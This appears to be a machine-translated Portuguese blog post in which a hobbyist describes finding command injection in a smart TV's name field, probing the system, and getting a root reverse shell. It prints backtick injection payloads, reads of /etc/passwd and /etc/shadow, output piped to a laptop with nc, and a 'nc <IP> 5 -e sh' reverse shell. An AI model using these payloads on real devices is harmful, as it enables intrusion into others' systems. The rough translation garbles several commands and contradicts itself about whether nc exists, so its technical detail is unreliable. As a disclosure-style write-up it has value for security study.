Sua TV não é tão inteligente quanto você pensa
Foi uma daquelas noites preguiçosas, apenas assistindo TV depois de um longo dia. Eu estava cansado, mas continuei pensando em uma vulnerabilidade que encontrei anteriormente em um roteador que alguém me deu. Encontrar uma falha em um dispositivo é sempre muito divertido, porque muitas vezes você vê coisas que não são destinadas a ser visto pelos usuários, exceto os desenvolvedores e talvez a equipe de suporte técnico da empresa.
Desde que eu estava muito cansado, eu só queria definir o temporizador de sono na televisão e deitar-se. Mas, ao definir o timer, fiquei pensando em outras possíveis funções de menu, e se houver algum recurso oculto que se destine apenas à equipe de suporte ou aos desenvolvedores. Depois de uma rápida pesquisa no Google no meu celular descobri que este tipo de televisores tem um código que abre um menu oculto.
Depois de abrir as configurações e digitar o código no meu controle remoto, outro menu surgiu no lado esquerdo da tela. Quase todas as categorias mostradas não eram acessíveis. Eu só poderia ativar "Hotel Mode" e ver o número de versão do conjunto.
Eu queria saber mais sobre a TV. Dentro das configurações, havia uma categoria chamada "info". Eu a abri e só vi mais alguns números de versão. Então algo mais chamou minha atenção; Eu poderia realmente dar o meu aparelho de TV um nome.
A vulnerabilidade no meu aparelho de televisão inteligente
Quando você trabalha em Segurança da Informação, você não pode deixar de testar algumas cargas que você usa diariamente em outros campos de entrada que você encontrar. Pode ser um parâmetro GET na interface web do roteador, no painel de controle da nova impressora ou, no meu caso, em uma TV. Então eu pensei que seria divertido para mudar o nome da minha TV para "televisão` sleep 5` ".
Depois de entrar e enviar a carga do meu controle remoto, o menu de configurações apenas congelou por um longo tempo. Uma vez que estava respondendo novamente eu mudei o nome para que eu pudesse selecionar outras entradas de menu. Eu realmente não acho que eu tinha acabado de encontrar uma injeção de comando ou algo semelhante. Não é estranho para a minha TV para pendurar por alguns segundos antes de mudanças são feitas, mas porque agora demorou mais tempo para se tornar responsivo, que me fez curioso.
O tempo não correspondeu a minha entrada, pois foi mais de cinco segundos. Eu pensei que poderia ter algo a ver com os personagens backtick eu injetei. Talvez a TV não esperá-los e lançou um erro que impediu de carregamento. Eu digitei em "televisão` sleep 0` "e tentei novamente. Ele carregado instantaneamente.
Há algo definitivamente acontecendo, mas não tinha certeza do que e como. Então eu decidi medir o tempo. Descobriu-se que sempre levou o aparelho de televisão três vezes mais tempo do que o número de entrada para se tornar responsivo, como mostrado abaixo:
- Dormir (2) - 6 segundos
- Dormir (3) - 9 segundos
- Dormir (5) - 15 segundos
Executando comandos na minha Smart TV
Eu não podia acreditar. Houve realmente uma injeção de comando no primeiro campo de entrada que eu tentei. Congelar o menu não era uma prova final, porém, e não era muito útil em termos de exploração. Desde que eu só tinha 31 caracteres, menos os dois backticks, minha carga só poderia consistir de 29 caracteres.
Abaixo está uma lista de comandos que eu tentei executar na TV, incluindo uma explicação do que eles são e também uma confirmação se eles conseguiram ou não.
Comando
|
Explicação
|
Chars
|
Conseguiu
|
'Which nc && sleep 2`
|
Que é um comando linux que retorna o caminho para um programa se ele existir.
&& sono 2 seria congelar o menu para 3 * 2 segundos se o que função encontrada nc no aparelho de TV.
|
19
|
sim
|
`Which ssh && sleep 2`
|
Eu queria ver se o ssh estava instalado.
|
20
|
Não
|
`Que wget && sleep 2`
|
Mas teve wget
|
21
|
sim
|
`Cat / etc / passwd && sleep 2`
|
Eu queria ver se / etc / passwd era legível. Foi, e teria sido uma grande surpresa se não fosse
|
26
|
sim
|
`Cat / etc / shadow && sleep 2`
|
Este é interessante. Quando você tem privilégios de root, o arquivo / etc / shadow é legível. Eu queria testar se eu sou root, mas o arquivo não era legível.
|
26
|
Não
|
`Ls / etc / shadow && sleep 2`
|
Esta é a explicação por que o arquivo de sombra não pôde ser aberto. Simplesmente não existia.
|
25
|
Não
|
Foi realmente tarde, então eu decidi ir dormir e tentar obter um shell no dia seguinte. Depois de acordar a parte mais difícil seguido: sair da cama para obter o laptop e um cabo ethernet. Até agora eu nem tinha que ir a qualquer lugar e achei muito engraçado que eu era capaz de executar comandos do sistema na minha TV apenas usando um controle remoto.
Como obter acesso ao shell na TV inteligente
Minha TV é montada na parede, portanto, conectar um cabo não é tão fácil como se poderia imaginar. Depois de um ombro deslocado e várias ameaças para a TV, liguei o cabo. Liguei-o ao portátil e descobri o IP do portátil com o ipconfig .
Então, agora que eu sabia que o endereço IP do meu laptop, eu só tinha que obter um shell reverso para o meu laptop. Portanto, eu não precisava saber o endereço IP da TV. Também um shell reverso é útil porque ele iria ignorar todas as possíveis regras de firewall bloqueando as conexões de entrada. Mas antes de pensar em como obter um em menos de 29 caracteres que eu queria aprender um pouco mais sobre o sistema.
Usando o Netcat na Smart TV
Eu descobri que não há nc instalado no aparelho de TV, então eu decidi canalizar a saída de certos comandos através nc de volta para o meu laptop. O primeiro que eu tentei foi, claro , id , o que me diria se eu tinha privilégios de root no Smart TV.
Como visto acima eu tinha privilégios de root. Este não foi surpreendente, mas ainda era nice para ver. A próxima coisa que fiz foi obter uma lista de diretórios de / com `ls -la / | nc 169.254.56.216 5`
Perfeito. Mas eu ainda não tinha shell para emitir comandos adequados. Todos eles eram mais ou menos comprimento restrito e não muito útil. No entanto, uma vez que a versão do nc que foi instalado na TV permitiu a bandeira -e foi fácil obter um shell reverso com: `nc 169.254.213.210 5 -e sh`
Eu tive o acesso do escudo na tevê esperta
Perfeito. Eu agora tinha um shell adequado para trabalhar. Eu estava especialmente interessado em mexer com a TV de uma forma visível. Houve várias possibilidades, como alterar o logotipo que está sendo mostrado durante o processo de inicialização ou alterar os ícones de aplicativos. Uma vez que este é um smart TV, ele tem alguns aplicativos pré-instalados como o Youtube e Skype.
Percebi que a maior parte do sistema de arquivos era somente leitura, então eu não podia mudar os logotipos. Mas havia imagens que estavam mudando freqüentemente, ou seja, as caixas de visualização de canais que você pode ver enquanto zapping entre diferentes canais de TV. Eles continham instantâneos dos programas executados quando você visitou o canal. Obviamente, aqueles tinham que ser salvos em um lugar onde você poderia ler e escrever arquivos.
Notei que as imagens de ícones eram arquivos .png. Eu listei todos os arquivos com uma extensão .png usando o comando find / -name * .png, mas os arquivos de visualização não estavam lá. No entanto, eu tentei a mesma pesquisa, mas desta vez para arquivos. Jpg, e eu notei alguns arquivos como channelImage123.jpg. Depois de carregar os arquivos que eu queria mostrar e substituir os arquivos channelImage correspondentes, este foi o resultado.
Sua TV não é tão inteligente quanto você pensaria
Dispositivos conectados à Internet podem ter vulnerabilidades nos lugares mais estranhos, onde você poderia esperar menos. Quando eu testei o comando de sono eu nem sequer penso que iria trabalhar em tudo, eu fiz isso apenas por tédio. Eu também não tinha idéia de que minha TV é executado no linux e foi ainda mais do que surpreso ao ver que minhas vulnerabilidades são exploráveis.
Esta vulnerabilidade não é explorável remotamente, no entanto, ele me convenceu de que eu estava certo para não ligar a minha TV para a Internet, e usar seus recursos (não tão) inteligente. Eu não estou realmente confortável com o pensamento de que alguém pode ter controle sobre a minha TV.
Acho que há coisas mais frias e mais vulnerabilidades que eu poderia explorar no aparelho de TV. Mas não vale a pena as dores cardíacas que eu recebo quando o dispositivo congela, e eu tenho que esperar por um minuto para ver se ele foi bricked ou não. Porque depois de tudo você assistir televisão para relaxar e não para aumentar a sua pressão arterial, exceto se você gosta de assistir futebol.
Comentários
Postar um comentário